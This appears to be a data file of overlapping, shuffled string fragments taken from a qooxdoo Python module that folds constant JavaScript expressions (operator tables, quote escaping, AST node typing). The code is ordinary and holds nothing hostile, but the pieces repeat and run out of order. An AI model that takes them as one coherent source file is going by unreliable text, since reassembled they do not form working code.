"if operator in self.operations: if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): #",
"expr_node return nnode def _visit_monadic(self, node, operator): op1 = node.children[0] nnode = node",
"escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has to come",
"symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due",
"if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif",
"# Copyright: # 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # # License: #",
"does 0 fill operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1, op2, op3):",
"vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne",
"is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group) def visit_group(self, node):",
"nnode def _visit_dyadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] nnode =",
"visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children) if arity == 1: nnode",
"= self._visit_triadic(node, operator) return nnode ## # IF def visit_loop(self, node): loop_type =",
"set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\",",
"not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result",
"= opr return operations # end:_init_operations def visit(self, node): # pre-order reduce children,",
"enough to evaluate the condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode",
"-- only on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne",
"self._init_operations() def _init_operations(self): operations = {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def",
"elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2)",
"quotes we have to check escaping if \"'\" in s: result = []",
"misc import util ## # ASTReducer - newer approach: A general AST reducer",
"% str(value)) return valueNode ## # Determine the quoting to be used on",
"we have embedded quotes we have to check escaping if \"'\" in s:",
"node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ## # HOOK def _visit_triadic(self,",
"\"evaluated\"): if operator in self.operations: evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")(",
"operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x and y operations['OR'] = lambda",
"as func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend",
"\"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result # - ---------------------------------------------------------------------------",
"re, types, operator, functools as func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator",
"== \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value = None",
"# ################################################################################ ## # Reduce the value of a syntax tree (expression). ##",
"or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant': #",
"\"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value = None if",
"as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)):",
"= func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1",
"valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal",
"it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\")",
"node, operator): op1 = node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if operator",
"result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result = u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def",
"used on that string in code ('singlequotes', # 'doublequotes'), and escape pot. embedded",
"result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on",
"= operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result",
"func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish between prefix and",
"<< (32 - op2) # else: # fills = 0 # return ((op1",
"u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer = ASTReducer(node) new_node",
"ASTReducer - newer approach: A general AST reducer # # Computes new, pot.",
"operation=='-': result = operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x",
"= func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1 & 0xffffffff) # coerce",
"operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD']",
"_visit_triadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] op3 = node.children[2] nnode",
"valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType): valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for",
"shift operand must be in 0..31 in JS def opr(operation, op1, op2): op2",
"# anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value =",
"correspondingly. # (The string might result from a concat operation that combined differently",
"in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\') result.append(\"'\") result.append(chunks[-1]) result =",
"op2) else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD']",
"(op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] = func.partial(opr, '+') operations['SUB'] = func.partial(opr,",
"raise ValueError(\"Illegal value for JS constant: %s\" % str(value)) return valueNode ## #",
"& 1 # if sign: # fills = ((sign << op2) - 1)",
"that string in code ('singlequotes', # 'doublequotes'), and escape pot. embedded quotes correspondingly.",
"## import os, sys, re, types, operator, functools as func from ecmascript.frontend import",
"node with it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value,",
"for details. # # Authors: # * <NAME> (thron7) # ################################################################################ ## #",
"file in the project's top-level directory for details. # # Authors: # *",
"() # the empty tuple indicates unevaluated if consttype == \"number\": constdetail =",
"op2 = node.children[1] op3 = node.children[2] nnode = node if operator in self.operations:",
"symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ## # HOOK",
"pre-order reduce children, to have their values when reducing current # node nchilds",
"= lambda x,y: x or y # bit operations only operate on 32-bit",
"'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). # def escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result",
"sign: # fills = ((sign << op2) - 1) << (32 - op2)",
"have embedded quotes we have to check escaping if \"'\" in s: result",
"valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif",
"operations['RSH'] = func.partial(opr, operator.rshift) def ursh(op1, op2): op1 = (op1 & 0xffffffff) #",
"escape_quotes(s): quotes = 'singlequotes' # aribtrary choice result = s # only if",
"= bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group)",
"elif consttype == \"null\": value = None if value!=(): node.evaluated = value return",
"value = () # the empty tuple indicates unevaluated if consttype == \"number\":",
"valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"float\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.NoneType):",
"= util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue) elif consttype == \"string\":",
"node): loop_type = node.get(\"loopType\") nnode = node if loop_type == \"IF\": cond_node =",
"== \"string\": value = constvalue elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue]",
"## # IF def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node if",
"node def visit_operation(self, node): operator = node.get(\"operator\") arity = len(node.children) if arity ==",
"= node # can only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if",
"JS constant: %s\" % str(value)) return valueNode ## # Determine the quoting to",
"= [] chunks = s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk",
"* <NAME> (thron7) # ################################################################################ ## # Reduce the value of a syntax",
"op2, op3) return nnode ## # Take a Python value and init a",
"= func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1 >>",
"int return operator.rshift(op1, op2) # Python .rshift does 0 fill operations['URSH'] = func.partial(opr,",
"nnode.evaluated = evaluated return nnode ## # HOOK def _visit_triadic(self, node, operator): op1",
"bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return nnode ## # (group) def",
">> 31) & 1 # if sign: # fills = ((sign << op2)",
"os, sys, re, types, operator, functools as func from ecmascript.frontend import treeutil, treegenerator",
"0 # return ((op1 & 0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr,",
"node.get(\"loopType\") nnode = node if loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node,",
"only on vars! #operations['DEC'] -- only on vars! operations['EQ'] = operator.eq operations['SHEQ'] =",
"op1 = (op1 & 0xffffffff) # coerce to 32-bit int return operator.rshift(op1, op2)",
"nchilds = [] for child in node.children: nchild = self.visit(child) nchilds.append(nchild) nnode =",
"def visit_loop(self, node): loop_type = node.get(\"loopType\") nnode = node if loop_type == \"IF\":",
"import symbol from ecmascript.frontend import Scanner from misc import util ## # ASTReducer",
"in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"),",
"elif operation=='-': result = operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for",
"operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND']",
"0 fill operations['URSH'] = func.partial(opr, ursh) # ?: def opr(op1, op2, op3): return",
"= op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x in (op1,",
"1&1 Internet AG, Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT # See",
"or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if expr_node.type ==",
"################################################################################ ## # Reduce the value of a syntax tree (expression). ## import",
"node # can only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1:",
"evaluated by pre-order nnode = expr_node return nnode def _visit_monadic(self, node, operator): op1",
"ValueError(\"Illegal value for JS constant: %s\" % str(value)) return valueNode ## # Determine",
"y operations['OR'] = lambda x,y: x or y # bit operations only operate",
"been evaluated by pre-order nnode = expr_node return nnode def _visit_monadic(self, node, operator):",
"quotes correspondingly. # (The string might result from a concat operation that combined",
"# coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2):",
"embedded quotes we have to check escaping if \"'\" in s: result =",
"\"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to pre-order recursion,",
"return nnode def _visit_monadic(self, node, operator): op1 = node.children[0] nnode = node if",
"= getattr(self, \"visit_\"+node.type)(nnode) return nnode # - Due to pre-order recursion, type-specific methods",
"%s\" % str(value)) return valueNode ## # Determine the quoting to be used",
"on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] =",
"-- only on vars! #operations['DEC'] -- only on vars! operations['EQ'] = operator.eq operations['SHEQ']",
"# (group) def visit_group(self, node): nnode = node # can only reduce \"(3)\"",
"value of a syntax tree (expression). ## import os, sys, re, types, operator,",
"'doublequotes'), and escape pot. embedded quotes correspondingly. # (The string might result from",
"all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=():",
"operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt",
"a constant node with it, setting the node's \"constantType\" # def set_node_type_from_value(valueNode, value):",
"operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x and y operations['OR'] =",
"loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode,",
"= s.split(\"'\") for chunk in chunks[:-1]: result.append(chunk) if not Scanner.is_last_escaped(chunk + \"'\"): result.append('\\\\')",
"# License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE file in the project's",
"\"int\": value = util.parseInt(constvalue) elif constdetail == \"float\": value = float(constvalue) elif consttype",
"else: return () operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] =",
"a syntax tree (expression). ## import os, sys, re, types, operator, functools as",
"value and init a constant node with it, setting the node's \"constantType\" #",
"# 2006-2013 1&1 Internet AG, Germany, http://www.1und1.de # # License: # MIT: https://opensource.org/licenses/MIT",
"operator.inv # second shift operand must be in 0..31 in JS def opr(operation,",
"if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return",
"_visit_monadic(self, node, operator): op1 = node.children[0] nnode = node if hasattr(op1, \"evaluated\"): if",
"# Determine the quoting to be used on that string in code ('singlequotes',",
"import os, sys, re, types, operator, functools as func from ecmascript.frontend import treeutil,",
"= operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x",
"nnode = node if loop_type == \"IF\": cond_node = node.children[0] if hasattr(cond_node, \"evaluated\"):",
"elif all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if",
"& 0x1f) # coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def",
"\"constantType\" # def set_node_type_from_value(valueNode, value): if isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value)",
"quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this",
"isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) #",
"result = operator.add(op1,op2) elif operation=='-': result = operator.sub(op1,op2) # string '+' elif operation=='+'",
"if len(node.children)==1: expr_node = node.children[0] if expr_node.type == 'constant': # must have been",
"+/- if op2==(): if operation=='+': result = operator.pos(op1) elif operation=='-': result = operator.neg(op1)",
".evaluated with nodes, to keep the Python value for a tree/contant # node,",
"their values when reducing current # node nchilds = [] for child in",
"# coerce to 32-bit int return operator.rshift(op1, op2) # Python .rshift does 0",
"# Python .rshift does 0 fill operations['URSH'] = func.partial(opr, ursh) # ?: def",
"op2, op3): return op2 if bool(op1) else op3 operations['HOOK'] = opr return operations",
"sys, re, types, operator, functools as func from ecmascript.frontend import treeutil, treegenerator from",
"https://opensource.org/licenses/MIT # See the LICENSE file in the project's top-level directory for details.",
"in nchilds: nnode.addChild(cld) # try reducing current node, might return a fresh symbol()",
"= (op1 >> 31) & 1 # if sign: # fills = ((sign",
"31) & 1 # if sign: # fills = ((sign << op2) -",
"-*- ################################################################################ # # qooxdoo - the new era of web development #",
"value for a tree/contant # node, for easier operations, checking for hasattr() to",
"hasattr(op1, 'evaluated'): nnode = self.operations[operator](op1.evaluated, op2, op3) return nnode ## # Take a",
"operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish between prefix and infix +/-",
"= operator.inv # second shift operand must be in 0..31 in JS def",
"bool(op1) else op3 operations['HOOK'] = opr return operations # end:_init_operations def visit(self, node):",
"have been evaluated by pre-order nnode = expr_node return nnode def _visit_monadic(self, node,",
"is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\")",
"details. # # Authors: # * <NAME> (thron7) # ################################################################################ ## # Reduce",
"nchilds.append(nchild) nnode = node nnode.children = [] for cld in nchilds: nnode.addChild(cld) #",
"to check escaping if \"'\" in s: result = [] chunks = s.split(\"'\")",
"self.operations: if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops evaluated",
"this has to come early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\",",
"from a concat operation that combined differently # quoted strings, like 'fo\"o\"bar' +",
"nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ##",
"infix +/- def opr(operation, op1, op2=()): result = () if isinstance(op1, types_Number): #",
"operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have to distinguish between prefix and infix",
"import Scanner from misc import util ## # ASTReducer - newer approach: A",
"value!=(): node.evaluated = value return node def visit_operation(self, node): operator = node.get(\"operator\") arity",
"func.partial(opr, operator.lshift) #def rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1 >> 31)",
"= () if isinstance(op1, types_Number): # prefix +/- if op2==(): if operation=='+': result",
"= (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1, op2): if all([isinstance(x, types_Number) for",
"nnode ## # HOOK def _visit_triadic(self, node, operator): op1 = node.children[0] op2 =",
"None if value!=(): node.evaluated = value return node def visit_operation(self, node): operator =",
"= func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) # Have",
"we have to check escaping if \"'\" in s: result = [] chunks",
"\"number\": constdetail = node.get(\"detail\") if constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail",
"# pre-order reduce children, to have their values when reducing current # node",
"between prefix and infix +/- def opr(operation, op1, op2=()): result = () if",
"JS def opr(operation, op1, op2): op2 = (op2 & 0x1f) # coerce to",
"on vars! #operations['DEC'] -- only on vars! operations['EQ'] = operator.eq operations['SHEQ'] = operator.eq",
"operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC'] -- only on",
"self._visit_monadic(node, operator) elif arity == 2: nnode = self._visit_dyadic(node, operator) elif arity ==",
"to evaluate the condition if operator == \"HOOK\" and hasattr(op1, 'evaluated'): nnode =",
"= operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] =",
"operator.gt operations['GE'] = operator.ge operations['NOT'] = operator.not_ operations['AND'] = lambda x,y: x and",
"result = u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer =",
"Reduce the value of a syntax tree (expression). ## import os, sys, re,",
"result = operator.pos(op1) elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+':",
"consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value =",
"valueNode.set(\"constantType\",\"null\") valueNode.set(\"value\", \"null\") else: raise ValueError(\"Illegal value for JS constant: %s\" % str(value))",
"visit(self, node): # pre-order reduce children, to have their values when reducing current",
"0xffffffff) # coerce to 32-bit int return operator.rshift(op1, op2) # Python .rshift does",
"= operator.sub(op1,op2) # string '+' elif operation=='+' and all([isinstance(x,types.StringTypes) for x in (op1,op2)]):",
"# qooxdoo - the new era of web development # # http://qooxdoo.org #",
"coding: utf-8 -*- ################################################################################ # # qooxdoo - the new era of web",
"Carries .evaluated with nodes, to keep the Python value for a tree/contant #",
"operator.ne operations['LT'] = operator.lt operations['LE'] = operator.le operations['GT'] = operator.gt operations['GE'] = operator.ge",
"'singlequotes' # aribtrary choice result = s # only if we have embedded",
"# # License: # MIT: https://opensource.org/licenses/MIT # See the LICENSE file in the",
"ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from",
"types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType):",
"a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode) return nnode #",
"node, might return a fresh symbol() if hasattr(self, \"visit_\"+node.type): nnode = getattr(self, \"visit_\"+node.type)(nnode)",
"reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node = node.children[0] if",
"elif consttype == \"boolean\": value = {\"true\":True, \"false\":False}[constvalue] elif consttype == \"null\": value",
"#def rsh(op1, op2): # http://bit.ly/13v4Adq # sign = (op1 >> 31) & 1",
"self.operations[operator](op1.evaluated, op2) nnode = op1 if evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for",
"self).__init__() self.root_node = root_node self.operations = self._init_operations() def _init_operations(self): operations = {} types_Number",
"= self._visit_dyadic(node, operator) elif arity == 3: nnode = self._visit_triadic(node, operator) return nnode",
"('singlequotes', # 'doublequotes'), and escape pot. embedded quotes correspondingly. # (The string might",
"reducer # # Computes new, pot. reduced tree. Does a post-order recursion (children",
"evaluated-ness. class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations =",
"#operations['INC'] -- only on vars! #operations['DEC'] -- only on vars! operations['EQ'] = operator.eq",
"'+') operations['SUB'] = func.partial(opr, '-') #operations['INC'] -- only on vars! #operations['DEC'] -- only",
"ecmascript.frontend.treegenerator import symbol from ecmascript.frontend import Scanner from misc import util ## #",
"def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations() def _init_operations(self):",
"operator.xor operations['BITNOT'] = operator.inv # second shift operand must be in 0..31 in",
"http://bit.ly/13v4Adq # sign = (op1 >> 31) & 1 # if sign: #",
"values when reducing current # node nchilds = [] for child in node.children:",
"ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations() def",
"isinstance(value, types.StringTypes): valueNode.set(\"constantType\",\"string\") quotes, escaped_value = escape_quotes(value) valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value,",
"operations['MUL'] = func.partial(opr, operator.mul) operations['DIV'] = func.partial(opr, operator.truediv) operations['MOD'] = func.partial(opr, operator.mod) #",
"if expr_node.type == 'constant': # must have been evaluated by pre-order nnode =",
"result.append(chunks[-1]) result = u''.join(result) return quotes, result # - --------------------------------------------------------------------------- def ast_reduce(node): reducer",
"lambda x,y: x or y # bit operations only operate on 32-bit integers",
"\"visit_\"+node.type)(nnode) return nnode # - Due to pre-order recursion, type-specific methods don't need",
"node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ## # HOOK def",
"self._visit_dyadic(node, operator) elif arity == 3: nnode = self._visit_triadic(node, operator) return nnode ##",
"evaluated==op1.evaluated else op2 elif all([hasattr(x, 'evaluated') for x in (op1, op2)]): evaluated =",
"operator.eq operations['SHEQ'] = operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt",
"elif operation=='-': result = operator.neg(op1) elif isinstance(op2, types_Number): if operation=='+': result = operator.add(op1,op2)",
"evaluated = self.operations[operator](op1.evaluated) if evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated",
"class ASTReducer(treeutil.NodeVisitor): def __init__(self, root_node): super(ASTReducer, self).__init__() self.root_node = root_node self.operations = self._init_operations()",
"in self.operations: if operator in ['AND', 'OR'] and hasattr(op1, 'evaluated'): # short-circuit ops",
"# ?: def opr(op1, op2, op3): return op2 if bool(op1) else op3 operations['HOOK']",
"be used on that string in code ('singlequotes', # 'doublequotes'), and escape pot.",
"_init_operations(self): operations = {} types_Number = (types.IntType, types.LongType, types.FloatType, types.BooleanType) def opr(operation, op1,",
"\"null\": value = None if value!=(): node.evaluated = value return node def visit_operation(self,",
"if hasattr(cond_node, \"evaluated\"): value = bool(cond_node.evaluated) nnode, is_empty = treeutil.inlineIfStatement(node, value, inPlace=False) return",
"might result from a concat operation that combined differently # quoted strings, like",
"isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\", \"int\") valueNode.set(\"value\", str(value)) elif isinstance(value, types.FloatType): valueNode.set(\"constantType\",\"number\") valueNode.set(\"detail\",",
"coerce to 0..31 return operation(op1,op2) operations['LSH'] = func.partial(opr, operator.lshift) #def rsh(op1, op2): #",
"pre-order nnode = expr_node return nnode def _visit_monadic(self, node, operator): op1 = node.children[0]",
"node, operator): op1 = node.children[0] op2 = node.children[1] op3 = node.children[2] nnode =",
"node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode def _visit_dyadic(self, node, operator):",
"if we have embedded quotes we have to check escaping if \"'\" in",
"in code ('singlequotes', # 'doublequotes'), and escape pot. embedded quotes correspondingly. # (The",
"consttype == \"string\": value = constvalue elif consttype == \"boolean\": value = {\"true\":True,",
"operations['OR'] = lambda x,y: x or y # bit operations only operate on",
"tuple indicates unevaluated if consttype == \"number\": constdetail = node.get(\"detail\") if constdetail ==",
"= operator.eq operations['NE'] = operator.ne operations['SHNE'] = operator.ne operations['LT'] = operator.lt operations['LE'] =",
"operator = node.get(\"operator\") arity = len(node.children) if arity == 1: nnode = self._visit_monadic(node,",
"# HOOK def _visit_triadic(self, node, operator): op1 = node.children[0] op2 = node.children[1] op3",
"in the project's top-level directory for details. # # Authors: # * <NAME>",
"qooxdoo - the new era of web development # # http://qooxdoo.org # #",
"reducing current # node nchilds = [] for child in node.children: nchild =",
"valueNode.set(\"detail\", quotes) valueNode.set(\"value\", escaped_value) elif isinstance(value, types.BooleanType): # this has to come early,",
"the project's top-level directory for details. # # Authors: # * <NAME> (thron7)",
"if constdetail == \"int\": value = util.parseInt(constvalue) elif constdetail == \"float\": value =",
"have to check escaping if \"'\" in s: result = [] chunks =",
"when reducing current # node nchilds = [] for child in node.children: nchild",
"only operate on 32-bit integers in JS operations['BITAND'] = operator.and_ operations['BITOR'] = operator.or_",
"operator, functools as func from ecmascript.frontend import treeutil, treegenerator from ecmascript.frontend.treegenerator import symbol",
"## # ASTReducer - newer approach: A general AST reducer # # Computes",
"evaluated!=(): nnode = symbol(\"constant\")( node.get(\"line\"), node.get(\"column\")) set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode",
"x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode = symbol(\"constant\")(",
"else: # fills = 0 # return ((op1 & 0xffffffff) >> op2) |",
"post-order recursion (children first). # Carries .evaluated with nodes, to keep the Python",
"early, as isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType,",
"# aribtrary choice result = s # only if we have embedded quotes",
"(group) def visit_group(self, node): nnode = node # can only reduce \"(3)\" or",
"aribtrary choice result = s # only if we have embedded quotes we",
"and hasattr(op1, 'evaluated'): # short-circuit ops evaluated = self.operations[operator](op1.evaluated, op2) nnode = op1",
"concat operation that combined differently # quoted strings, like 'fo\"o\"bar' + \"ba\"\\z\\\"boing\"). #",
"isinstance(True, types.IntType) is also true! valueNode.set(\"constantType\",\"boolean\") valueNode.set(\"value\", str(value).lower()) elif isinstance(value, (types.IntType, types.LongType)): valueNode.set(\"constantType\",\"number\")",
"and init a constant node with it, setting the node's \"constantType\" # def",
"and all([isinstance(x,types.StringTypes) for x in (op1,op2)]): result = operator.add(op1,op2) return result operations['ADD'] =",
"fills = 0 # return ((op1 & 0xffffffff) >> op2) | fills #operations['RSH']",
"node.get(\"constantType\") value = () # the empty tuple indicates unevaluated if consttype ==",
"can only reduce \"(3)\" or \"('foo')\" or \"(true)\" etc. if len(node.children)==1: expr_node =",
"anymore! def visit_constant(self, node): constvalue = node.get(\"value\") consttype = node.get(\"constantType\") value = ()",
"node.children[1] nnode = node if operator in self.operations: if operator in ['AND', 'OR']",
"for x in (op1, op2)]): evaluated = self.operations[operator](op1.evaluated, op2.evaluated) if evaluated!=(): nnode =",
"methods don't need to recurse # anymore! def visit_constant(self, node): constvalue = node.get(\"value\")",
"2: nnode = self._visit_dyadic(node, operator) elif arity == 3: nnode = self._visit_triadic(node, operator)",
"quoting to be used on that string in code ('singlequotes', # 'doublequotes'), and",
"def opr(operation, op1, op2=()): result = () if isinstance(op1, types_Number): # prefix +/-",
"or y # bit operations only operate on 32-bit integers in JS operations['BITAND']",
"pot. reduced tree. Does a post-order recursion (children first). # Carries .evaluated with",
"isinstance(op1, types_Number): # prefix +/- if op2==(): if operation=='+': result = operator.pos(op1) elif",
"0xffffffff) >> op2) | fills #operations['RSH'] = func.partial(opr, rsh) operations['RSH'] = func.partial(opr, operator.rshift)",
"set_node_type_from_value(nnode, evaluated) nnode.evaluated = evaluated return nnode ## # HOOK def _visit_triadic(self, node,",
